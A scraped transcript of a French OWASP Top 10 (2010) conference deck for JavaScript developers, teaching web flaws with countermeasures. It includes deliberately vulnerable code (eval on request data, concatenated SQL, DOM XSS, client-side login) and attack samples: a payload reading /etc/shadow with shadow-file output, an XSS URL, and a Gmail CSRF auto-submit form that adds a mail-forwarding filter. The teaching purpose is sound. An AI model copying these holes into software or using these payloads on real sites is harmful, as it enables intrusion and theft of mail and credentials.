2013 02-27-owasp top10 javascript

96
OWASP Top 10 2010 pour le développeur JavaScript Sébas;en Gioria OWASP France Leader OWASP Global Educa;on CommiDee Confoo.ca 27 Février 2013 Montréal Canada Saturday, March 2, 13

Upload: sebastien-gioria

Post on 24-May-2015

1.468 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: 2013 02-27-owasp top10 javascript

OWASP  Top  10  2010  pour  le  développeur  JavaScript

Sébas;en  GioriaOWASP  France  Leader  -­‐  OWASP  Global  Educa;on  CommiDeeConfoo.ca  -­‐  27  Février  2013  -­‐  Montréal  -­‐  Canada

Saturday, March 2, 13

Page 2: 2013 02-27-owasp top10 javascript

http://www.google.fr/#q=sebastien gioria

‣OWASP France Leader & Founder - Evangéliste

‣OWASP Global Education Comittee Member ([email protected])

‣Consultant Indépendant en Sécurité Applicative

Twitter :@SPoint

2Saturday, March 2, 13

Page 3: 2013 02-27-owasp top10 javascript

O-­‐ou-­‐a-­‐ss-­‐pe?

• OWASP  =  Open  Web  Applica6on  Security  Project–Il  y  a  le  mot  “web”  mais  en  fait  …

• Mission:–Global,  ouvert,  non  lucra6f,  indépendant.

• Communauté  OWASP:–30,000  abonnés  aux  listes  de  diffusion  –200  sec6ons  régionales  ac6ves  dans  70  pays–1’600  membres  officiels,  56  entreprises  partenaires–69  ins6tu6ons  académiques

Saturday, March 2, 13

Page 4: 2013 02-27-owasp top10 javascript

OWASP  Canada

• Sec6ons  OWASP  au  Canada:–Alberta:  Edmonton  &  Lethbridge–Bri6sh  Columbia:  Okanagan  &  Vancouver–Manitoba:  Winnipeg–New  Brunswick:  New  Brunswick–Ontario:  Niagara,  Toronto–Quebec:  Montréal,  Obawa,  Quebec  city

Saturday, March 2, 13

Page 5: 2013 02-27-owasp top10 javascript

5

Saturday, March 2, 13

Page 6: 2013 02-27-owasp top10 javascript

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

Saturday, March 2, 13

Page 7: 2013 02-27-owasp top10 javascript

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

Saturday, March 2, 13

Page 8: 2013 02-27-owasp top10 javascript

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

var fs = require('fs');return fs.readFileSync('/etc/shadow');

Saturday, March 2, 13

Page 9: 2013 02-27-owasp top10 javascript

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

var fs = require('fs');return fs.readFileSync('/etc/shadow');

Saturday, March 2, 13

Page 10: 2013 02-27-owasp top10 javascript

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

var fs = require('fs');return fs.readFileSync('/etc/shadow');

root:$6$enEZGERdwP$hN4bR9BJd7JVQ/OKDF354DFfdg’DFG.4.OKs2HE/BD7qqQPWpvFe5TCJeblSUKZFswLq0P0:15293:0:99999:7:::daemon:*:14743:0:99999:7:::bin:*:14743:0:99999:7:::sys:*:14743:0:99999:7:::spoint:$6$454FDfd$fBXQtwOtNQ71OEMj78uxidxLthoedggioerjgoeirg34FDVDFVoqv9ulQ1W2At6MFT0/1VfAAb6G.lFr.qYhSMaMnz1:15293:0:99999:7:::landscape:*:15293:0:99999:7:::bind:*:15293:0:99999:7:::ntpd:*:15293:0:99999:7:::sshd:*:15293:0:99999:7:::mysql:!:15350:0:99999:7:::

Saturday, March 2, 13

Page 11: 2013 02-27-owasp top10 javascript

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

Saturday, March 2, 13

Page 12: 2013 02-27-owasp top10 javascript

Que  se  passe-­‐t-­‐il

7

app.post('/login',  function(req,  res){        client.query('SELECT  *  FROM  users  WHERE  username="'  +  req.body.login  +  '"  AND  password="'  +

 Hash.sha1(req.body.password)  +  '"',                function  (err,  results,  fields)  {                        if  (err)  {                                throw  err;                        }                        if  (results[0])  {                                req.session.userInfo  =  results[0];                                req.session.is_logged_in  =  true;                                res.render('site/start',  {                                        title:  'News'                                });                        }                        else  {                                res.redirect('/');                        }                }        );});

Saturday, March 2, 13

Page 13: 2013 02-27-owasp top10 javascript

8

Saturday, March 2, 13

Page 14: 2013 02-27-owasp top10 javascript

8

Saturday, March 2, 13

Page 15: 2013 02-27-owasp top10 javascript

8

Saturday, March 2, 13

Page 16: 2013 02-27-owasp top10 javascript

8

Saturday, March 2, 13

Page 17: 2013 02-27-owasp top10 javascript

8

Saturday, March 2, 13

Page 18: 2013 02-27-owasp top10 javascript

8

Saturday, March 2, 13

Page 19: 2013 02-27-owasp top10 javascript

8

Saturday, March 2, 13

Page 20: 2013 02-27-owasp top10 javascript

8

Saturday, March 2, 13

Page 21: 2013 02-27-owasp top10 javascript

Contre-­‐mesure

9

★Valider les données

★Utiliser les mécanismes des requêtes paramétrées quand elles sont disponibles

★Minimiser les privilèges des utilisateurs

★Input validation Cheat Sheet :

★https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet

client.query('SELECT * FROM users WHERE username=?', [username], ...)

Saturday, March 2, 13

Page 22: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 23: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 24: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 25: 2013 02-27-owasp top10 javascript

11

Saturday, March 2, 13

Page 26: 2013 02-27-owasp top10 javascript

12

<script>var url = window.location.href;var pos = url.indexOf("field-author=") + 6;var len = url.length;var title_string = url.substring(pos,len);document.write(unescape(title_string));</script>

http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E%3Cscript%3Ealert(%22XSS%20BY%20Fugitif%22)%3C/script%3E

Saturday, March 2, 13

Page 27: 2013 02-27-owasp top10 javascript

12

<script>var url = window.location.href;var pos = url.indexOf("field-author=") + 6;var len = url.length;var title_string = url.substring(pos,len);document.write(unescape(title_string));</script>

http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E%3Cscript%3Ealert(%22XSS%20BY%20Fugitif%22)%3C/script%3E

Saturday, March 2, 13

Page 28: 2013 02-27-owasp top10 javascript

13

Saturday, March 2, 13

Page 30: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 31: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 32: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 33: 2013 02-27-owasp top10 javascript

Saturday, March 2, 13

Page 34: 2013 02-27-owasp top10 javascript

17

Saturday, March 2, 13

Page 35: 2013 02-27-owasp top10 javascript

17

var users = [{nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}},{nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}},{nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}}];

Saturday, March 2, 13

Page 36: 2013 02-27-owasp top10 javascript

17

var users = [{nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}},{nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}},{nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}}];

function authenticate(user, passwd) {authentifie = false ;for(iu in users){

if(users[iu].login == user && users[iu].pass == pass){authentifie = true ; break;

}}

}

Saturday, March 2, 13

Page 37: 2013 02-27-owasp top10 javascript

17

Saturday, March 2, 13

Page 38: 2013 02-27-owasp top10 javascript

Contre-­‐Mesure

★Ne  pas  mebre  d’authen6fica6on  coté  client★Ne  jamais  mebre  d’ID  de  session  dans  l’URL★U6liser  des  générateurs  d’ID  de  session  sur  (pas  le  sien  !)★Longueur  suffisante★Aléa  suffisant

★Chiffrer  le  transport  de  l’ID  de  session  =>  TLS/SSL★Regénérer  des  ID  de  session  apres  le  login  et  le  logout

18

Saturday, March 2, 13

Page 39: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 40: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 41: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 42: 2013 02-27-owasp top10 javascript

20

Saturday, March 2, 13

Page 43: 2013 02-27-owasp top10 javascript

20

Saturday, March 2, 13

Page 44: 2013 02-27-owasp top10 javascript

20

{"d":{"__type":"Customer:#Web","Address":"3 Childers St","CustomerID":3,"Email":"[email protected]","FirstName":"Bruce","Postcode":"3000","State":"VIC","Suburb":"Melbourne"}}

Saturday, March 2, 13

Page 45: 2013 02-27-owasp top10 javascript

21

Saturday, March 2, 13

Page 46: 2013 02-27-owasp top10 javascript

21

Saturday, March 2, 13

Page 47: 2013 02-27-owasp top10 javascript

21

{"d":{"__type":"Customer:#Web","Address":"12\/78 Burbank Lane","CustomerID":4,"Email":"[email protected]","FirstName":"Jane","Postcode":"4000","State":"QLD","Suburb":"Brisbane"}}

Saturday, March 2, 13

Page 48: 2013 02-27-owasp top10 javascript

Contre-­‐mesure

22

Web Service

Database

Mainframe

File System

User Access ReferenceMap

Etc…

Indirect Reference DirectReference

Indirect Reference Direct Reference

customerID  =  1A530637289A03B07199A44E8D531427 customerID  =  3

customerID  =  3customerID  =  1A530637289A03B07199A44E8D531427

Saturday, March 2, 13

Page 49: 2013 02-27-owasp top10 javascript

23

Contre-­‐Mesure

★Ne  pas  exposer  de  clefs  de  base★Mebre  en  place  des  contrôles  d’accès  serveurs★Mebre  en  place  les  tables  de  références  d’accès

Saturday, March 2, 13

Page 50: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 51: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 52: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 53: 2013 02-27-owasp top10 javascript

25

Saturday, March 2, 13

Page 54: 2013 02-27-owasp top10 javascript

261  -­‐  On  se  loggue  sur  GMAIL

Saturday, March 2, 13

Page 55: 2013 02-27-owasp top10 javascript

27

Bien  noter  les  filtres  existants

Saturday, March 2, 13

Page 56: 2013 02-27-owasp top10 javascript

28

2  -­‐  On  accede  à  un  site  Web  contenant  le  code  suivant  :

Saturday, March 2, 13

Page 57: 2013 02-27-owasp top10 javascript

28

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> ! <input type="hidden" name="cf2_emc" value="true"/> ! <input type="hidden" name="cf2_email" value="[email protected]"/> ! <input type="hidden" name="cf1_from" value="[email protected]"/> ! <input type="hidden" name="cf1_to" value=""/> ! <input type="hidden" name="cf1_subj" value=""/> ! <input type="hidden" name="cf1_has" value=""/> ! <input type="hidden" name="cf1_hasnot" value=""/> ! <input type="hidden" name="cf1_attach" value="true"/> ! <input type="hidden" name="tfi" value=""/> ! <input type="hidden" name="s" value="z"/> ! <input type="hidden" name="irf" value="on"/> ! <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form> <script> ! document.forms[0].submit();</script>

2  -­‐  On  accede  à  un  site  Web  contenant  le  code  suivant  :

Saturday, March 2, 13

Page 58: 2013 02-27-owasp top10 javascript

29

3  -­‐  Le  filtre  est  rajouté

Saturday, March 2, 13

Page 59: 2013 02-27-owasp top10 javascript

Contre-­‐Mesures

30

★Préferer  POST  a  GET★Supprimer  toutes  les  XSS★Mebre  des  sessions  avec  expira6on  très  faible★Rajouter  des  tokens  aléatoires  dans  les  requetes

Saturday, March 2, 13

Page 60: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 61: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 62: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 63: 2013 02-27-owasp top10 javascript

32

www.example.com api.ckers.fr

Imposs

ible

Saturday, March 2, 13

Page 64: 2013 02-27-owasp top10 javascript

33

www.example.com api.ckers.fr

Possible

CORS  ?

Saturday, March 2, 13

Page 65: 2013 02-27-owasp top10 javascript

33

Access-Control-Allow-From: *Access-Control-Allow-Origin: *

www.example.com api.ckers.fr

Possible

CORS  ?

Saturday, March 2, 13

Page 66: 2013 02-27-owasp top10 javascript

Contre-­‐Mesure

★Toujours  u6liser  des  ou6ls/frameworks  à  jour★Aben6on  à  la  configura6on  des  serveurs  Web★Revoir  la  configura6on  des  librairies  et  modules  (même  le  plus  pe6t  morceau  de  code)

★Ne  pas  mebre  des  permissions  trop  “laxistes”  cf  •Access-Control-Allow-From•Access-Control-Allow-Origin

34

Saturday, March 2, 13

Page 67: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 68: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 69: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 70: 2013 02-27-owasp top10 javascript

36

Saturday, March 2, 13

Page 71: 2013 02-27-owasp top10 javascript

★L’encodage  n’apporte  pas  de  protec6on★Plutot  que  de  chiffrer  une  donnée,  se  poser  la  ques6on  de  l’u6lité  de  la  stocker  !  

★Préférer  “hasher”  les  données  plutôt  que  de  les  chiffrer  

★Ajouter  des  aléas  (sels)  différents  dans  le  hashage★U6liser  des  algorithmes  ‘forts’  •SHA2•AES•SHA3...

37

Saturday, March 2, 13

Page 72: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 73: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 74: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 75: 2013 02-27-owasp top10 javascript

39

Saturday, March 2, 13

Page 76: 2013 02-27-owasp top10 javascript

39

Saturday, March 2, 13

Page 77: 2013 02-27-owasp top10 javascript

39

Saturday, March 2, 13

Page 78: 2013 02-27-owasp top10 javascript

Contre-­‐Mesures

• Configurer  correctement  la  restric6on  d’accès  sur  les  serveurs.• Empécher  le  lis6ng  de  directory  du  serveur.• Ajouter  les  bons  type-­‐mime.• ....

40

Saturday, March 2, 13

Page 79: 2013 02-27-owasp top10 javascript

41

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 80: 2013 02-27-owasp top10 javascript

41

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 81: 2013 02-27-owasp top10 javascript

41

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 82: 2013 02-27-owasp top10 javascript

42

Saturday, March 2, 13

Page 83: 2013 02-27-owasp top10 javascript

43

Saturday, March 2, 13

Page 84: 2013 02-27-owasp top10 javascript

43

Saturday, March 2, 13

Page 85: 2013 02-27-owasp top10 javascript

Contre-­‐Mesures  expérimentales  avec  JSON  

• JSON  Web  Encryp;on  (JWE)  :  JSON  Web  Encryp6on  (JWE)  est  un  drax  expliquant  comment  représenter  un  élément  chiffrer  via  des  structures  de  données  JavaScript  Object  Nota6on  (JSON).➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐encryp;on-­‐07#page-­‐23  

• JSON  Web  Signature  (JWS)  :  JSON  Web  Signature  (JWS)  est  un  drax  détaillant  comment  représenter  dans  une  strucutre  de  données  JSON,  du  contenu  u6lisant  des  signatures  numériques  ou  des  codes  d'authen6fica6on  de  message  (MAC).➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐signature-­‐07

•  JSON  Web  Algorithm  (JWA)  :  JSON  Web  Algorithms  (JWA)  décrit  les  algorithmes,  iden6fiants  nécessaires  pour  l'u6lisa6on  des  futurs  standars  JWE,  JWS  et  JWS.➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐algorithms

• JSON  Web  Key  (JWK)  :    Une  structure  JSON  Web  Key  (JWK)  est  une  structure  JavaScript  Object  Nota6on  (JSON)  représentant  un  clef  publique.  Ce  drax  défini  aussi  la  manière  de  représenter  un  ensemble  de  structures  de  type  JWK..➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐key-­‐07

44

Saturday, March 2, 13

Page 86: 2013 02-27-owasp top10 javascript

